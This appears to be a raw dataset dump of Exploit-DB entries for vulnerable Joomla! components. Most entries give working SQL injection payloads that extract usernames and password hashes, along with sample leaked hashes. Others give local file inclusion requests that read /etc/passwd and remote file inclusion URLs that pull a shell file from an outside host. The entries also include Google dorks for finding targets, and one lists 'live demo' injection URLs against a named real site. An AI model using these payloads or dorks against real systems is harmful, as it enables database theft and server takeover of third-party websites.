deardaniel/secdata-raw huggingface dataset:
Exploit-DB #41507
Description: Joomla! Component Content ConstructionKit 1.1 - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-04
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component Content ConstructionKit v1.1 - SQL Injection
# Google Dork: inurl:index.php?option=com_os_cck
# Date: 04.03.2017
# Vendor Homepage: http://ordasoft.com/
# Software Buy: http://ordasoft.com/cck-content-construction-kit-for-joomla.html
# Demo: http://ordasvit.com/joomla-cck-classic/
# Version: 1.1
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php/2016-04-11-13-03-22/search?search=Ihsan_Sencan&categories[]=[SQL]&task=search&option=com_os_cck&Itemid=133
# 9+AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(DATABASE()+AS+CHAR),0x7e,0x496873616e53656e63616e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=DATABASE()+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)
# 1062 Duplicate entry 'ordasvit_joomla-cck-classic~IhsanSencan1' for key 'group_key' 
# Etc..
# # # # #
Exploit-DB #41427
Description: Joomla! Component ContentMap 1.3.8 - 'contentid' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-22
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component ContentMap v1.3.8 - SQL Injection
# Google Dork: inurl:index.php?option=com_contentmap
# Date: 22.02.2017
# Vendor Homepage: https://www.turismo.eu/
# Software Buy: https://extensions.joomla.org/extensions/extension/maps-a-weather/geotagging/contentmap/
# Demo: https://www.turismo.eu/itinerari.html
# Version: 1.3.8
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_contentmap&owner=plugin&view=smartloader&id=10135&Itemid=606&type=json&filename=articlesmarkers&source=article&contentid=[SQL]
# # # # #
Exploit-DB #35960
Description: Joomla! Component Controller - 'Itemid' SQL Injection
Type: webapps
Platform: php
Date: 2011-07-15
Author: SOLVER

Exploit:
source: https://www.securityfocus.com/bid/48690/info

The Controller component for Joomla! is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_controller&id=53&Itemid=[SQLi]
Exploit-DB #15453
Description: Joomla! Component Cookex Agency CKForms - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-11-08
Author: ALTBTA

Exploit:
####################################################################
>>>>> Author : altbta [l_9@hotmail.com<mailto:l_9@hotmail.com>]
>>>>> Home : www.v4-team.com/cc<http://www.v4-team.com/cc>
>>>>> Script : Joomla Component com_ckforms
>>>>> Bug Type : Multiple Vulnerabilities
>>>>> Dork : inurl:"com_ckforms"

http://extensions.joomla.org/extensions/contacts-and-feedback/forms/4939
####################################################################

===[ Exploit ]=== [LFI]

http://site/index.php?option=com_ckforms&controller=[LFI]
http://site.com/index.php?option=com_ckforms&controller=../../../.
./../../../../../../etc/passwd%00

####################################################################
RxH & ab0-3th4b
Exploit-DB #41500
Description: Joomla! Component Coupon 3.5 - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-03
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Joomla! Component Coupon v3.5 - SQL Injection
# Google Dork: inurl:index.php?option=com_coupon
# Date: 03.03.2017
# Vendor Homepage: http://joomla6teen.com/
# Software: https://extensions.joomla.org/extensions/extension/e-commerce/gifts-a-coupons/coupon/
# Demo: http://demo.joomla6teen.com/couponmanager/
# Version: 3.5
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_coupon&view=coupons&task=mail_box&=[SQL]
# http://localhost/[PATH]/index.php?option=com_coupon&view=coupons&catid=[SQL]
# http://localhost/[PATH]/index.php?option=com_coupon&view=coupons&storeid=[SQL]
# For example;
# DATABASE > demojoom_coupon3
# TABLES > wl6xp_users
# COLUMNS > username, password
# DATA
# http://localhost/[PATH]/index.php?option=com_coupon&view=coupons&catid=7+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(username,char(58),password)+AS+CHAR),0x7e))+FROM+wl6xp_users+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)
# admin:$2y$10$IeBQiHyJNpZ7mVVNlmW7..Xr5I4tSTlN5Dq7QVltnjtWmaWu2J4
# Etc..
# # # # #
Exploit-DB #43932
Description: Joomla! Component CP Event Calendar 3.0.1 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2018-01-30
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Joomla! Component CP Event Calendar 3.0.1 - SQL Injection
# Dork: N/A
# Date: 30.01.2018
# Vendor Homepage: http://www.joomlacalendars.com/
# Software Link: https://extensions.joomla.org/extensions/extension/calendars-a-events/events/cp-event-calendar/
# Version: 3.0.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-6398
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_cpeventcalendar&task=load&id=[SQL]
# 
# %2d%31%20%20%2f%2a%21%30%36%36%36%36%55%4e%49%4f%4e%2a%2f%20%2f%2a%21%30%36%36%36%36%53%45%4c%45%43%54%2a%2f%20CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION())%2c%32%2c%33%2c%34%2c%35%2c%36%2c%37%2d%2d%20%2d
# 
# Parameter: id (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: option=com_cpeventcalendar&task=load&id=1 AND 6741=6741
# 
#     Type: error-based
#     Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
#     Payload: option=com_cpeventcalendar&task=load&id=1 AND (SELECT 7531 FROM(SELECT COUNT(*),CONCAT(0x716a707671,(SELECT (ELT(7531=7531,1))),0x717a6a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
# 
#     Type: AND/OR time-based blind
#     Title: MySQL <= 5.0.11 AND time-based blind (heavy query - comment)
#     Payload: option=com_cpeventcalendar&task=load&id=1 AND 3954=BENCHMARK(5000000,MD5(0x4573626a))#
# 
#     Type: UNION query
#     Title: Generic UNION query (NULL) - 7 columns
#     Payload: option=com_cpeventcalendar&task=load&id=1 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716a707671,0x4a61716b6d59557a4f5a496f7676584d57444e514d4d78626d42546e786d[PII_REDACTED][PII_REDACTED],0x717a6a7a71),NULL,NULL,NULL-- cJFi
# 
# # # # #
Exploit-DB #36659
Description: Joomla! Component Currency Converter 1.0.0 - 'from' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-02-02
Author: BHG Security Center

Exploit:
source: https://www.securityfocus.com/bid/51804/info

The Currency Converter component for Joomla! is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/path/modules/mod_currencyconverter/includes/convert.php?from=[XSS]
Exploit-DB #5294
Description: Joomla! Component custompages 1.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-03-22
Author: Sniper456

Exploit:
@ JOOmla Component custompages <= 1.0 Sql Remote file Inclusion


Author:Sniper456

Contact:Sniper456[attt]gmail.com

Greetss: My chilean people

Developer: Shawn Sandy

License:Other open source / Free license

Dork: 8=====B !           =)

**Bug:

http://www.target.com/index.php?option=com_custompages&cpage=URL

**Example

http://www.target.com/index.php?option=com_custompages&cpage=http://atackweeb.cl/colocoloshell.txt?

side note:

 <name>custompages</name>
 <creationDate>06/11/2006</creationDate>
 <author>Shawn Sandy</author>
 <copyright>Copyright 2006 - Shawn Sandy</copyright>
 <license>License</license>
 <authorEmail>shawnsandy04@gmail.com</authorEmail>
 <authorUrl>www.sstreamtv.com</authorUrl>
 <version>1.1</version>

# milw0rm.com [2008-03-22]
Exploit-DB #12172
Description: Joomla! Component CV Maker 1.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-12
Author: AntiSecurity

Exploit:
=============================================================================================================


  [o] Joomla Component CV Maker Local File Inclusion Vulnerability
 
       Software : com_cvmaker version 1.0
       Author   : AntiSecurity [ Vrs-hCk NoGe OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


=============================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_cvmaker&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_cvmaker&controller=../../../../../../../../../../etc/passwd%00


=============================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


=============================================================================================================


  [o] April 12 2010 - GMT +07:00 Jakarta, Indonesia
Exploit-DB #45447
Description: Joomla! Component CW Article Attachments 1.0.6 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2018-09-24
Author: Haboob Team

Exploit:
# Exploit Title: Joomla! CW Article Attachments 1.0.6 - 'id' SQL Injection
# Date: 2018-09-20
# Exploit Author: Haboob Team
# Software Link: https://extensions.joomla.org/extension/cw-article-attachments/
# Version: below < 1.0.6
# CVE : CVE-2018-14592 
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-14592

# 1. Description
# The CWJoomla CW Article Attachments PRO extension before 2.0.7 and CW Article Attachments 
# FREE extension before 1.0.6 for Joomla! allow SQL Injection within download.php.
 
# 2. Proof of Concept
 
http://IP-ADDRESS/plugins/content/cwattachments/cwattachments/helpers/download.php?id=INJECTION&sid=[PII_REDACTED]987654321
Exploit-DB #44158
Description: Joomla! Component CW Tags 2.0.6 - SQL Injection
Type: webapps
Platform: php
Date: 2018-02-22
Author: Ihsan Sencan

Exploit:
# # # #
# Exploit Title: Joomla! Component CW Tags 2.0.6 - SQL Injection
# Dork: N/A
# Date: 22.02.2018
# Vendor Homepage: http://www.cwjoomla.com/
# Software Link: https://extensions.joomla.org/extensions/extension/search-a-indexing/tags-a-clouds/cw-tags/
# Version: 2.0.6
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-7313
# # # #
# Exploit Author: Ihsan Sencan
# # # #
# 
# POC: 
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_cwtags&searchtext[]=[SQL]
# 
# %2d%45%66%65%27%29%20%20%2f%2a%21%30%33%33%33%33%55%4e%49%4f%4e%2a%2f%20%2f%2a%21%30%33%33%33%33%53%45%4c%45%43%54%2a%2f%20%40%40%48%4f%53%54%4e%41%4d%45%2d%2d%20%2d
# 
# %31%27%61%6e%64%20%28%73%65%6c%65%63%74%20%31%20%66%72%6f%6d%20%28%73%65%6c%65%63%74%20%63%6f%75%6e%74%28%2a%29%2c%63%6f%6e%63%61%74%28%28%73%65%6c%65%63%74%28%73%65%6c%65%63%74%20%63%6f%6e%63%61%74%28%63%61%73%74%28%64%61%74%61%62%61%73%65%28%29%20%61%73%20%63%68%61%72%29%2c%30%78%37%65%29%29%20%66%72%6f%6d%20%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%74%61%62%6c%65%73%20%77%68%65%72%65%20%74%61%62%6c%65%5f%73%63%68%65%6d%61%3d%64%61%74%61%62%61%73%65%28%29%20%6c%69%6d%69%74%20%30%2c%31%29%2c%66%6c%6f%6f%72%28%72%61%6e%64%28%30%29%2a%32%29%29%78%20%66%72%6f%6d%20%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%74%61%62%6c%65%73%20%67%72%6f%75%70%20%62%79%20%78%29%61%29%20%41%4e%44%20%27%27%3d%27
# 
# # # #
Exploit-DB #5299
Description: Joomla! Component d3000 1.0.0 - SQL Injection
Type: webapps
Platform: php
Date: 2008-03-23
Author: S@BUN

Exploit:
##########################################
#
# Powered by Download 3000
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####BLOG : http://my.opera.com/SQL-Injection/blog/
#
####MAiL : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORK 1 : "Powered by Download 3000"
#
# DORK 2 : allinurl: "com_d3000"
#
###########################################
EXPLOiT :

index.php?option=com_d3000&task=showarticles&id=-99999/**/union/**/select/**/0,username,pass_word/**/from/**/admin/*


###########################################
------------------S@BUN-------------------#
###########################################
-----hackturkiye.hackturkiye@gmail.com----#
###########################################
--http://my.opera.com/SQL-Injection/blog/-#
###########################################

side note:
    <name>D3000</name>
    <author>Csaba Kissi</author>
    <creationDate>April 2006</creationDate>
    <copyright>(C) 2006 Open Source Matters. All rights reserved.</copyright>
    <license>http://www.gnu.org/copyleft/gpl.html GNU/GPL</license>

    <authorEmail>info@download3000.com</authorEmail>
    <authorUrl>joomla.download3000.com</authorUrl>
    <version>1.0.0</version>
    <description><![CDATA[
     This component integrates the whole www.Download3000.com software archive (more than 12.000 software articles already)<br /> 
     to your Joomla powered site within one minute. The best of all is the fact that you can earn money through the<br /> 
     RegNow affiliate program. The component is optimized for Googlebot and Inktomi slurp so you'll get more visitors from search engines.<br />
     For more information about usage and your affiliate ID activation please read the help file in the package.<br />
     Please send us your suggestions, comments and future requests for the Download3000 component. Thank you in advance.]]> 
    </description>    

# milw0rm.com [2008-03-23]
Exploit-DB #7002
Description: Joomla! Component Dada Mail Manager 2.6 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-11-05
Author: NoGe

Exploit:
======================================================================================================================================


  [o] Dada Mail Manager Component 2.6 Remote File Inclusion Vulnerability

       Software : com_dadamail version 2.6
       Vendor   : http://joomlander.net
       Download : http://joomlacode.org/gf/project/dadamailmanager/frs
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com


======================================================================================================================================


  [o] Vulnerable file

       administrator/components/com_dadamail/config.dadamail.php

        require_once($GLOBALS['mosConfig_absolute_path'] . '/administrator/components/com_dadamail/language/default.php');



  [o] Exploit

       http://localhost/[path]/administrator/components/com_dadamail/config.dadamail.php?GLOBALS[mosConfig_absolute_path]=[evilcode]


======================================================================================================================================


  [o] Greetz

       MainHack BrotherHood [ http://serverisdown.org/blog/]
       Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 loqsa
       H312Y yooogy mousekill }^-^{ kaka11  martfella
       skulmatic olibekas ulga Cungkee k1tk4t str0ke

        
======================================================================================================================================

# milw0rm.com [2008-11-05]
Exploit-DB #6802
Description: Joomla! Component Daily Message 1.0.3 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-22
Author: H!tm@N

Exploit:
#############################################################################
#							                    #
#      Joomla Component Daily Message (id) SQL Injection Vulnerability      #
#							                    #
#############################################################################


########################################

[~] Vulnerability found by: H!tm@N
[~] Contact: hitman[at]khg-crew[dot]ws
[~] Site: www.khg-crew.ws
[~] Greetz: boom3rang, KHG, urtan, war_ning, chs, redc00de - [-=Kosova Hackers Group=-]

########################################

[~] ScriptName:    "Joomla"
[~] Component:     "Daily Message (com_dailymessage)"  
[~] Version:       "1.0.3 "
[~] Date:          "10/4/2005 "
[~] Author:        "Joseph LeBlanc"
[~] Author E-mail: "contact@jlleblanc.com"
[~] Author URL:    "www.jlleblanc.com"

########################################

[~] Exploit: /index.php?option=com_dailymessage&Itemid=31&page=[PAGENAME]&id=[SQL]

[~] Example: /index.php?option=com_dailymessage&Itemid=31&page=[PAGENAME]&id=-7+union+select+concat(username,char(58),password)KHG,2,3+from+jos_users--

########################################

[~] Live Demo: http://www.drakbutiken.se/index.php?option=com_dailymessage&Itemid=31&page=faq&id=-7+union+select+concat(username,char(58),password)KHG,2,3+from+jos_users--

[~] Live Demo: http://www.drakbutiken.se/index.php?option=com_dailymessage&Itemid=31&page=drivers&id=-7+union+select+1,concat(username,char(58),password)KHG,3+from+jos_users--

########################################

[~] Proud 2 be Albanian
[~] Proud 2 be Muslim
[~] United States of Albania

########################################

# milw0rm.com [2008-10-22]
Exploit-DB #6003
Description: Joomla! Component DBQuery 1.4.1.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-07-04
Author: SsEs

Exploit:
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@JOOmla com_dbquery Remote file Inclusion@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@ 			Author:SsEs 				  
@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@ 			Contact:h4cks.in@gmail.com		  
@@@@@@@@@@@@@@@@@ 		Greetss: www.h4cks.in ||| www.1919turk.org || www.illegalsecurity.us ||| www.siberaskerler.org ||
@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@ Dork: inurl:"com_dbquery" OR "index.php?option=com_dbquery"
@@@@@@@@@@@@@@@@@ **Bug:
@@@@@@@@@@@@@@@@@ administrator\components\com_dbquery\classes\DBQ\admin\common.class.php on line 6
@@@@@@@@@@@@@@@@@ global $mosConfig_absolute_path;
@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@ require_once($mosConfig_absolute_path.â€™/components/com_dbquery/classes/DBQ/common.class.phpâ€™);
@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@ http://sitename.com/administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=
@@@@@@@@@@@@@@@@@

side note:
	<name>DBQuery</name>
	<creationDate>February 2007</creationDate>
	<author>Green Mountain Information Technology Consulting</author>
	<copyright>This component is released under the GNU/GPL License</copyright>
	<authorEmail>consulting@gmitc.biz</authorEmail>

	<authorUrl>http://www.gmitc.biz</authorUrl>
	<version>1.4.1 Final</version>
	<description>Database Query is a Joomla query manager.</description>

# milw0rm.com [2008-07-04]
Exploit-DB #11884
Description: Joomla! Component dcsFlashGames 2.0RC1 - 'catid' SQL Injection
Type: webapps
Platform: php
Date: 2010-03-26
Author: kaMtiEz

Exploit:
[!]===========================================================================[!]

[~] Joomla Component dcsFlashGames SQL Vulnerability ( catid )
[~] Author	: kaMtiEz (kamzcrew@yahoo.com)
[~] Homepage	: http://www.indonesiancoder.com
[~] Date	: 25 March, 2010

[!]===========================================================================[!]

[ Software Information ]

[+] Vendor : http://ekith.com/
[+] Description : http://ext.joom.ru/dcsflashgames.html
[+] Price : free
[+] Vulnerability : SQL
[+] Dork : inurl:"CIHUY" ;)
[+] Download : http://joomlacode.org/gf/project/sageth/frs/
[+] Version : 2.0RC1

[!]===========================================================================[!]

[ Vulnerable File ]

http://127.0.0.1/index.php?option=com_dcs_flashgames&Itemid=kaMtiEz&catid=[INDONESIANCODER]

[ XpL ]

666+union+all+select+1,2,user(),4,@@version,6,concat_ws(0x3a,username,password)+from+jos_users--


[ d3m0 ]

http://server/index.php?option=com_dcs_flashgames&Itemid=61&catid=51+union+all+select+1,2,user(),4,@@version,6,concat_ws(0x3a,username,password)+from+jos_users--


etc etc etc ;]

[!]===========================================================================[!]

[ Thx TO ]

[+] INDONESIAN CODER TEAM MainHack ServerIsDown SurabayaHackerLink IndonesianHacker MC-CREW
[+] tukulesto,M3NW5,arianom,N4CK0,abah_benu,d0ntcry,bobyhikaru,gonzhack,senot
[+] Contrex,YadoY666,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah.IBL13Z,r3m1ck
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue,otong,CS-31


[ NOTE ] 

[+] Babe enyak adek i love u pull dah .. 
[+] Jika kami bersama Nyalakan Tanda Bahaya ;)
[+] Ayy : lup u :">

[ QUOTE ]

[+] INDONESIANCODER still r0x
[+] nothing secure ..
Exploit-DB #12237
Description: Joomla! Component Delicious Bookmarks 0.0.1 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-14
Author: AntiSecurity

Exploit:
===============================================================================================================


  [o] Joomla Component Delicious Bookmarks Local File Inclusion Vulnerability
 
       Software : com_delicious version 0.0.1
       Vendor   : http://attic.e-builds.com/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


===============================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_delicious&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_delicious&controller=../../../../../../../../../../etc/passwd%00


===============================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


===============================================================================================================


  [o] April 14 2010 - GMT +07:00 Jakarta, Indonesia